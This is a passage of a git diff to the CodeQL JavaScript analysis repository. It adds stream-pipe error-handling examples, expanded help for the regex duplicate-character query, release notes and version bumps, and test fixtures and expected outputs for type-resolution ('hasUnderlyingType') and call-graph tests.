fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Bad: Only destination has error handling, source errors are unhandled +source.pipe(destination).on('error', (err) => { + console.error('Destination error:', err); +}); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js new file mode 100644 index 00000000000..08b9b2a1aab --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js @@ -0,0 +1,17 @@ +const { pipeline } = require('stream'); +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Good: Using pipeline for automatic error handling +pipeline( + source, + destination, + (err) => { + if (err) { + console.error('Pipeline failed:', err); + } else { + console.log('Pipeline succeeded'); + } + } +); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js new file mode 100644 index 00000000000..113bc811774 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js @@ -0,0 +1,16 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Alternative Good: Manual error handling with pipe() +source.on('error', (err) => { + console.error('Source stream error:', err); + destination.destroy(err); +}); + +destination.on('error', (err) => { + console.error('Destination stream error:', err); + source.destroy(err); +}); + +source.pipe(destination); diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp index 30ef990ec0c..f94cced3d09 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp @@ -5,26 +5,42 @@

    -Character classes in regular expressions represent sets of characters, so there is no need to specify -the same character twice in one character class. Duplicate characters in character classes are at best -useless, and may even indicate a latent bug. +Character classes in regular expressions (denoted by square brackets []) represent sets of characters where the pattern matches any single character from that set. Since character classes are sets, specifying the same character multiple times is redundant and often indicates a programming error.

    +

    +Common mistakes include: +

    +
      +
    • Using square brackets [] instead of parentheses () for grouping alternatives
    • +
    • Misunderstanding that special regex characters like |, *, +, (), and - work differently when appearing inside a character class
    • +
    • Accidentally duplicating characters or escape sequences that represent the same character
    • +
    +
    -

    If the character was accidentally duplicated, remove it. If the character class was meant to be a -group, replace the brackets with parentheses.

    +

    +Examine each duplicate character to determine the intended behavior: +

    +
      +
    • If you see | inside square brackets (e.g., [a|b|c]): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: (a|b|c)
    • +
    • If trying to match alternative strings, use parentheses () for grouping instead of square brackets
    • +
    • If the duplicate was truly accidental, remove the redundant characters
    • +
    • If trying to use special regex operators inside square brackets, note that most operators (like |) are treated as literal characters
    • +
    +

    +Note that simply removing | characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match. +

    -In the following example, the character class [password|pwd] contains two instances each -of the characters d, p, s, and w. The programmer -most likely meant to write (password|pwd) (a pattern that matches either the string -"password" or the string "pwd"), and accidentally mistyped the enclosing -brackets. +Example 1: Confusing character classes with groups +

    +

    +The pattern [password|pwd] does not match "password" or "pwd" as intended. Instead, it matches any single character from the set {p, a, s, w, o, r, d, |}. Note that | has no special meaning inside character classes.

    @@ -33,10 +49,23 @@ brackets. To fix this problem, the regular expression should be rewritten to /(password|pwd) =/.

    +

    +Example 2: CSS unit matching +

    +

    +The pattern r?e[m|x] appears to be trying to match "rem" or "rex", but actually matches "re" followed by any of the characters {m, |, x}. The correct pattern should be r?e(m|x) or r?e[mx]. +

    + +

    +Similarly, v[h|w|min|max] should be v(h|w|min|max) to properly match "vh", "vw", "vmin", or "vmax". +

    +
  • Mozilla Developer Network: JavaScript Regular Expressions.
  • +
  • MDN: Character Classes - Details on how character classes work.
  • +
  • MDN: Groups and Ranges - Proper use of grouping with parentheses.
  • diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql index 06b6d218aca..00366590fcb 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql @@ -5,7 +5,8 @@ * @kind problem * @problem.severity warning * @id js/regex/duplicate-in-character-class - * @tags reliability + * @tags quality + * reliability * correctness * regular-expressions * @precision very-high diff --git a/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md b/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md new file mode 100644 index 00000000000..2dcb16a8327 --- /dev/null +++ b/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The `js/useless-expression` query now correctly flags only the innermost expressions with no effect, avoiding duplicate alerts on compound expressions. diff --git a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/javascript/ql/src/change-notes/released/1.6.1.md similarity index 73% rename from javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to javascript/ql/src/change-notes/released/1.6.1.md index 99af2e2c448..b66009e765f 100644 --- a/javascript/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/javascript/ql/src/change-notes/released/1.6.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.6.1 + +### Minor Analysis Improvements + * The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/javascript/ql/src/change-notes/released/1.6.2.md b/javascript/ql/src/change-notes/released/1.6.2.md new file mode 100644 index 00000000000..bbe3747556f --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.2.md @@ -0,0 +1,3 @@ +## 1.6.2 + +No user-facing changes. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c4f0b07d533..5f5beb68311 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.0 +lastReleaseVersion: 1.6.2 diff --git a/javascript/ql/src/meta/alerts/CallGraph.ql b/javascript/ql/src/meta/alerts/CallGraph.ql index 364d81e32c9..c721e72f640 100644 --- a/javascript/ql/src/meta/alerts/CallGraph.ql +++ b/javascript/ql/src/meta/alerts/CallGraph.ql @@ -12,7 +12,10 @@ import javascript from DataFlow::Node invoke, Function f, string kind where - invoke.(DataFlow::InvokeNode).getACallee() = f and kind = "Call" - or - invoke.(DataFlow::PropRef).getAnAccessorCallee().getFunction() = f and kind = "Accessor call" + ( + invoke.(DataFlow::InvokeNode).getACallee() = f and kind = "Call" + or + invoke.(DataFlow::PropRef).getAnAccessorCallee().getFunction() = f and kind = "Accessor call" + ) and + not f.getTopLevel().isExterns() select invoke, kind + " to $@", f, f.describe() diff --git a/javascript/ql/src/meta/types/TypesWithQualifiedName.ql b/javascript/ql/src/meta/types/TypesWithQualifiedName.ql deleted file mode 100644 index db23d2a807e..00000000000 --- a/javascript/ql/src/meta/types/TypesWithQualifiedName.ql +++ /dev/null @@ -1,14 +0,0 @@ -/** - * @name Types with qualified name - * @description The number of type annotations with a qualified name - * @kind metric - * @metricType project - * @metricAggregate sum - * @tags meta - * @id js/meta/types-with-qualified-name - */ - -import javascript -import meta.MetaMetrics - -select projectRoot(), count(TypeAnnotation t | t.hasQualifiedName(_) or t.hasQualifiedName(_, _)) diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 515ea8a3abd..0bfacd0c21e 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1-dev +version: 1.6.3-dev groups: - javascript - queries diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts new file mode 100644 index 00000000000..6dd94bcf195 --- /dev/null +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts @@ -0,0 +1,27 @@ +namespace NS { + export class C { + /** name:NS.C.m */ + m() { } + } + + export class D extends C { } +} + +function t1(c: NS.C, d: NS.D) { + /** calls:NS.C.m */ + c.m(); + + /** calls:NS.C.m */ + d.m(); +} + +async function t2(cp: Promise) { + const c = await cp; + /** calls:NS.C.m */ + c.m(); + + cp.then(c2 => { + /** calls:NS.C.m */ + c2.m(); + }) +} diff --git a/javascript/ql/test/library-tests/DataFlow/tests.expected b/javascript/ql/test/library-tests/DataFlow/tests.expected index 55c6771eef0..26ba8c46a99 100644 --- a/javascript/ql/test/library-tests/DataFlow/tests.expected +++ b/javascript/ql/test/library-tests/DataFlow/tests.expected @@ -1514,6 +1514,7 @@ sources | tst2.ts:7:1:9:1 | return of function setX | | tst2.ts:8:3:8:5 | A.x | | tst2.ts:11:11:11:13 | A.x | +| tst2.ts:11:11:11:23 | A.x as number | | tst2.ts:13:1:13:40 | class S ... ing> {} | | tst2.ts:13:26:13:29 | List | | tst2.ts:13:39:13:38 | (...arg ... rgs); } | @@ -1522,6 +1523,7 @@ sources | tst2.ts:13:39:13:38 | super(...args) | | tst2.ts:13:39:13:38 | this | | tst2.ts:15:11:15:13 | A.x | +| tst2.ts:15:11:15:30 | A.x satisfies number | | tst.js:1:1:1:0 | this | | tst.js:1:1:1:24 | import ... m 'fs'; | | tst.js:1:10:1:11 | fs | diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected index 97730513195..7c015994aaf 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected @@ -1,10 +1,10 @@ -| bar.js:5:14:5:14 | x | x | +| bar.js:5:14:5:14 | x | ns.very.long.namespace | | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo | -| bar.js:12:14:12:17 | iife | iife | +| bar.js:12:14:12:17 | iife | IIFE | | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo | | closure.js:8:12:8:15 | goog | goog | | closure.js:8:12:8:19 | goog.net | goog.net | | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType | -| closure.js:9:12:9:14 | net | net | +| closure.js:9:12:9:14 | net | goog.net | | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType | | closure.js:10:12:10:19 | SomeType | goog.net.SomeType | diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql index 1b7ebfdd501..bb1de953169 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql @@ -1,3 +1,3 @@ import javascript -query string test_hasQualifiedName(JSDocNamedTypeExpr expr) { expr.hasQualifiedName(result) } +query string test_hasUnderlyingType(JSDocNamedTypeExpr expr) { expr.hasUnderlyingType(result) } diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected index 8ac3eea2be5..06afe15ee18 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected @@ -2,13 +2,14 @@ test_isString | tst.js:2:12:2:17 | string | test_isNumber | tst.js:3:12:3:17 | number | -test_QualifiedName +test_hasUnderlyingType | VarType | tst.js:9:13:9:19 | VarType | | boolean | tst.js:5:14:5:20 | boolean | | foo | tst.js:4:12:4:14 | foo | | foo.bar | tst.js:4:12:4:18 | foo.bar | | foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz | | number | tst.js:3:12:3:17 | number | +| number | tst.js:3:12:3:18 | number? | | string | tst.js:2:12:2:17 | string | test_ParameterType | tst.js:7:12:7:12 | x | tst.js:2:12:2:17 | string | diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql index 829435e3220..fd223ee5a53 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql @@ -4,7 +4,7 @@ query TypeAnnotation test_isString() { result.isString() } query TypeAnnotation test_isNumber() { result.isNumber() } -query TypeAnnotation test_QualifiedName(string name) { result.hasQualifiedName(name) } +query TypeAnnotation test_hasUnderlyingType(string name) { result.hasUnderlyingType(name) } query TypeAnnotation test_ParameterType(Parameter p) { result = p.getTypeAnnotation() } diff --git a/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql b/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql index e9d66a4afe0..b4d324377be 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql +++ b/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql @@ -1,5 +1,5 @@ import javascript from TypeAnnotation type, string mod, string name -where type.hasQualifiedName(mod, name) +where type.hasUnderlyingType(mod, name) select type, mod, name diff --git a/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected b/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected index 7a60484a5f7..63e749e97be 100644 --- a/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected +++ b/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected @@ -1 +1,7 @@ -| tst.ts:38:3:38:19 | resolveAmbient(x) | x should not resolve to a global | +| tst.ts:22:3:22:18 | resolveGlobal(x) | x should resolve to a global variable | +| tst.ts:23:3:23:18 | resolveGlobal(y) | y should resolve to a global variable | +| tst.ts:24:3:24:18 | resolveGlobal(z) | z should resolve to a global variable | +| tst.ts:25:3:25:18 | resolveGlobal(w) | w should resolve to a global variable | +| tst.ts:39:3:39:18 | resolveGlobal(y) | y should resolve to a global variable | +| tst.ts:40:3:40:18 | resolveGlobal(z) | z should resolve to a global variable | +| tst.ts:41:3:41:18 | resolveGlobal(w) | w should resolve to a global variable | diff --git a/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected b/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected index a91505e3f03..69374cbf4bf 100644 --- a/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected +++ b/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected @@ -1,16 +1,36 @@ -| tst.ts:52:3:52:23 | obj.sim ... od(str) | TestInterface.simpleMethod in global scope | no concrete target | -| tst.ts:53:3:53:24 | obj.gen ... od(str) | TestInterface.genericMethod in global scope | no concrete target | -| tst.ts:54:3:54:24 | obj.gen ... od(num) | TestInterface.genericMethod in global scope | no concrete target | -| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | no concrete target | -| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | no concrete target | -| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | no concrete target | +| tst.ts:52:3:52:23 | obj.sim ... od(str) | TestInterface.simpleMethod in global scope | simpleM ... number; | +| tst.ts:53:3:53:24 | obj.gen ... od(str) | TestInterface.genericMethod in global scope | generic ... T): T; | +| tst.ts:54:3:54:24 | obj.gen ... od(num) | TestInterface.genericMethod in global scope | generic ... T): T; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:64:3:64:23 | obj.sim ... od(str) | TestClass.simpleMethod in global scope | simpleM ... ength } | | tst.ts:65:3:65:24 | obj.gen ... od(str) | TestClass.genericMethod in global scope | generic ... rn x; } | | tst.ts:66:3:66:24 | obj.gen ... od(num) | TestClass.genericMethod in global scope | generic ... rn x; } | +| tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... number; | | tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... rn x; } | +| tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... string; | +| tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... number; | | tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... rn x; } | +| tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... string; | +| tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... null; } | +| tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... null; } | diff --git a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected index 5ee97e2dfb5..3781aea96e2 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected +++ b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected @@ -1,13 +1,15 @@ -hasQualifiedNameModule -| default-import | default | tst.ts:11:9:11:21 | DefaultImport | +hasUnderlyingTypeModule +| default-import | | tst.ts:11:9:11:21 | DefaultImport | +| global | UnresolvedName | tst.ts:12:9:12:22 | UnresolvedName | +| import-assign | | tst.ts:10:9:10:11 | asn | | import-assign | Foo | tst.ts:10:9:10:15 | asn.Foo | | named-import | Name1 | tst.ts:7:9:7:13 | Name1 | | named-import | Name1 | tst.ts:13:9:13:13 | Name1 | | named-import | Name1 | tst.ts:13:9:13:21 | Name1 | | named-import | Name2 | tst.ts:8:9:8:13 | Name2 | +| namespace-import | | tst.ts:9:9:9:17 | namespace | | namespace-import | Foo | tst.ts:9:9:9:21 | namespace.Foo | -| tst.ts | ExportedClass | relative.ts:4:8:4:20 | ExportedClass | -hasQualifiedNameGlobal +hasUnderlyingTypeGlobal | UnresolvedName | tst.ts:12:9:12:22 | UnresolvedName | paramExample | tst.ts:7:5:7:6 | x1 | diff --git a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql index 2b63e171f1e..199749ed3f6 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql +++ b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql @@ -1,13 +1,13 @@ import javascript -query TypeAnnotation hasQualifiedNameModule(string moduleName, string member) { - result.hasQualifiedName(moduleName, member) +query TypeAnnotation hasUnderlyingTypeModule(string moduleName, string member) { + result.hasUnderlyingType(moduleName, member) } -query TypeAnnotation hasQualifiedNameGlobal(string globalName) { - result.hasQualifiedName(globalName) +query TypeAnnotation hasUnderlyingTypeGlobal(string globalName) { + result.hasUnderlyingType(globalName) } query Parameter paramExample() { - result.getTypeAnnotation().hasQualifiedName("named-import", "Name1") + result.getTypeAnnotation().hasUnderlyingType("named-import", "Name1") } diff --git a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected index a9123b1ef55..91eb164f394 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected +++ b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected @@ -5,6 +5,6 @@ | tst.ts:8:14:8:16 | arg | Sub in global scope | underlyingTypeNode | foo | | file://:0:0:0:0 | use moduleImport("foo").getMember("exports") | +| foo | | file://:0:0:0:0 | use moduleImport("foo").getMember("exports").getMember("") | | foo | | foo.ts:1:8:1:10 | use moduleImport("foo").getMember("exports").getMember("default") | -| foo | Bar | foo.ts:3:1:5:1 | use moduleImport("foo").getMember("exports").getMember("Bar").getInstance() | | foo | Bar | foo.ts:3:12:3:12 | use moduleImport("foo").getMember("exports").getMember("Bar").getInstance() | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts b/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts new file mode 100644 index 00000000000..68509e4a1c6 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts @@ -0,0 +1,32 @@ +import * as express from 'express'; + +function getRequest(): express.Request { } + +function t1() { + getRequest(); // $ hasUnderlyingType='express'.Request +} + +declare function getRequestAmbient(): express.Request; + +function t2() { + getRequestAmbient(); // $ hasUnderlyingType='express'.Request +} + +class C { + method(): express.Request { } +} + +function t3(c: C) { + c.method(); // $ hasUnderlyingType='express'.Request + new C().method(); // $ hasUnderlyingType='express'.Request +} + +function callback(fn: (req: express.Request) => void) { // $ SPURIOUS: hasUnderlyingType='express'.Request // req seems to be a SourceNode +} + +function t4() { + callback(function ( + req // $ hasUnderlyingType='express'.Request + ) { } + ); +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js new file mode 100644 index 00000000000..cb140ec63c9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js @@ -0,0 +1,5 @@ +goog.declareModuleId("closure.es") + +const Bar = goog.require('closure.reexported.Bar'); + +export { Bar } diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js new file mode 100644 index 00000000000..ffd67593202 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js @@ -0,0 +1,3 @@ +goog.module("closure.lib") + +exports.Foo = goog.require('closure.reexported.Foo'); diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js new file mode 100644 index 00000000000..22fc397cf3d --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js @@ -0,0 +1,16 @@ +goog.module("closure.use") + +const lib = goog.require("closure.lib"); +const es = goog.require("closure.es"); + +/** + * @param {lib.Foo} x + */ +function t1(x) { // $ hasUnderlyingType=closure.reexported.Foo hasUnderlyingType=closure.lib.Foo +} + +/** + * @param {es.Bar} x + */ +function t2(x) { // $ hasUnderlyingType=closure.reexported.Bar hasUnderlyingType=closure.es.Bar +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts b/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts new file mode 100644 index 00000000000..cc461c5c7dd --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts @@ -0,0 +1,45 @@ +import * as express from 'express'; + +interface Options { + handle(req: express.Request): void; // $ hasUnderlyingType='express'.Request +} + +declare function doSomething(options: Options); + +function t1() { + doSomething({ + handle(req) { // $ hasUnderlyingType='express'.Request + } + }); +} + +function t2(callback: ((opts: Options) => void) | undefined) { + callback({ + handle(req) { } // $ hasUnderlyingType='express'.Request + }) + callback!({ + handle(req) { } // $ hasUnderlyingType='express'.Request + }) +} + +function t3(): Options { + return { + handle(req) { } // $ hasUnderlyingType='express'.Request + } +} + +function t4(): Options[] { + return [ + { + handle(req) { } // $ hasUnderlyingType='express'.Request + } + ] +} + +async function t5(): Promise { + return { + handle(req) { // $ hasUnderlyingType='express'.Request + + } + } +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts new file mode 100644 index 00000000000..47ef09acc6e --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts @@ -0,0 +1 @@ +export * from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts new file mode 100644 index 00000000000..bb94da47faf --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts @@ -0,0 +1,7 @@ +import { Request, Response } from './expressBulkExport'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(res: Response) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts new file mode 100644 index 00000000000..8aa013bcde0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts @@ -0,0 +1,2 @@ +import E = require('express'); +export = E; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts new file mode 100644 index 00000000000..da65575a443 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts @@ -0,0 +1,4 @@ +import { Request } from "./expressExportAssign"; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts new file mode 100644 index 00000000000..23c22e44591 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts @@ -0,0 +1,5 @@ +import Express = require('express'); +namespace Wrapper { + export import E = Express; +} +export = Wrapper; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts new file mode 100644 index 00000000000..7bcf4b419e9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts @@ -0,0 +1,4 @@ +import { E } from "./expressExportAssignWrapper"; + +function t1(req: E.Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts new file mode 100644 index 00000000000..c8aaf3bb995 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts @@ -0,0 +1,2 @@ +export { Request } from 'express'; +export { Response as R } from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts new file mode 100644 index 00000000000..41ce42e3b1f --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts @@ -0,0 +1,10 @@ +import { Request, Response, R } from 